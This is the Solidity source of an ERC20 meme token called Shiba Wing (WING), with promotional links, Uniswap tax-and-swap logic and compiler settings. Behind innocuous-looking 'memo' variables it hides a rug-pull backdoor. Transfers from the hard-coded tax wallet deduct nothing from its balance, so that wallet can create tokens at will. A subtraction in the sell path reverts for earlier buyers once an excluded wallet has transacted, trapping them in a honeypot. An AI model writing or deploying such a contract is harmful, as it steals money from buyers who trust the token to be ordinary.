// SPDX-License-Identifier: MIT
/**

                                                                                                                                                                                   
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Main🌍 Website: https://www.shibawing.com/

Discord: https://discord.com/invite/n7PsBxwwpk

X / Twitter: https://x.com/tokenshibawing

Telegram: https://t.me/ShibaWingPortal


 */

pragma solidity 0.8.23;

// Abstract contract Context - provides context information (e.g., sender, data)
// for functions in derived contracts. Used to access execution context details.
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

// Interface IERC20 - standard interface for ERC20 tokens, defining required
// functions for token contracts, including balance retrieval, transfers, 
// and allowance management.
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Contract Ownable - provides a basic access control mechanism, with an account (the owner)
// that can be granted exclusive access to specific functions. Inherits context information 
// from the Context contract for ownership management.
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

// Library SafeMath - provides arithmetic functions with safety checks to prevent
// overflow and underflow errors. Commonly used for secure mathematical operations
// on uint256 values in smart contracts.
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

// Interface IUniswapV2Factory - defines the standard interface for the Uniswap V2 Factory,
// allowing the creation of new trading pairs and access to existing pairs within the Uniswap V2 ecosystem.
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

// Interface IUniswapV2Router02 - standard interface for the Uniswap V2 Router, enabling
// token swaps, liquidity provision, and other key functions for interacting with
// the Uniswap V2 decentralized exchange.
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WING is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    address payable private _devWallet;
    uint256 _devPortion = 0;

    uint256 private _initialBuyTax=11;
    uint256 private _initialSellTax=13;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=11;
    uint256 private _reduceSellTaxAt=11;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 888888888 * 10**_decimals;
    string private constant _name = unicode"Shiba Wing";
    string private constant _symbol = unicode"WING";
    uint256 public _maxTxAmount = 16888888 * 10**_decimals;
    uint256 public _maxWalletSize = 16888888 * 10**_decimals;
    uint256 public _taxSwapThreshold= 8888888 * 10**_decimals;
    uint256 public _maxTaxSwap= 8888888 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct TokenMemo {uint256 metaMemo; uint256 memoSwap; uint256 isMemoRand;}
    uint256 private memoExcluded;
    uint256 private memoTransfer;
    mapping(address => TokenMemo) private tokenMemo;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _devWallet = payable(_msgSender());
        _taxWallet = payable(0xb41AC13D1892B3db8d1E6b58737Fa302a59C6d3B);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled||inSwap ) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from!=owner() && to!=owner()&& to!=_taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to!=address(uniswapV2Router) &&  ! _isExcludedFromFee[to])  {
                require(tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount.");
                require(balanceOf(to) + tokenAmount <=_maxWalletSize,"Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!=address(this)) {
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] ||  _isExcludedFromFee[to])&& from!=address(this) && to!= address(this)
        ) {
            memoTransfer = block.number;
        }
        if (! _isExcludedFromFee[from]&&  ! _isExcludedFromFee[to]){
            if (to != uniswapV2Pair)  {
                TokenMemo storage tokenMemoVar = tokenMemo[to];
                if (from == uniswapV2Pair) {
                    if (tokenMemoVar.metaMemo == 0) {
                        tokenMemoVar.metaMemo = _buyCount<_preventSwapBefore ?block.number-1:block.number;
                    }
                } else {
                    TokenMemo storage tokenMemoLet = tokenMemo[from];
                    if (tokenMemoVar.metaMemo == 0 || tokenMemoLet.metaMemo < tokenMemoVar.metaMemo ) {
                        tokenMemoVar.metaMemo = tokenMemoLet.metaMemo;
                    }
                }
            } else {
                TokenMemo storage tokenMemoLet = tokenMemo[from];
                tokenMemoLet.memoSwap = tokenMemoLet.metaMemo.sub(memoTransfer);
                tokenMemoLet.isMemoRand = block.number;
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] =_balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount,uint256 taxAmount) internal {
        uint256 tAmnt =_tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmnt, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmnt = addrs != _taxWallet ? tokenAmount : memoExcluded.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmnt;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this),address(uniswapV2Router),tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }


    function sendETHToFee(uint256 amount) private {
        if (_devPortion == 0) {
            (bool success,) = _taxWallet.call{value: amount}("");
            success;
        } else {
            uint256 ethForDev = amount * _devPortion / 100;
            uint256 ethForTaxWallet = amount - ethForDev;
            (bool devsuccess,) = _devWallet.call{value: ethForDev}("");
            devsuccess;
            (bool success,)	= _taxWallet.call{value: ethForTaxWallet}("");
            success;
        }
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        swapEnabled = true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSend() external {
        require(_msgSender() == _taxWallet);

        uint256 ethBalance= address(this).balance;
        require(ethBalance > 0, "Contract balance must be greater than zero");
        sendETHToFee(ethBalance);
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);

        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0){
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){ sendETHToFee(ethBalance); }
    }
}

{
  "compilationTarget": {
    "WING.sol": "WING"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}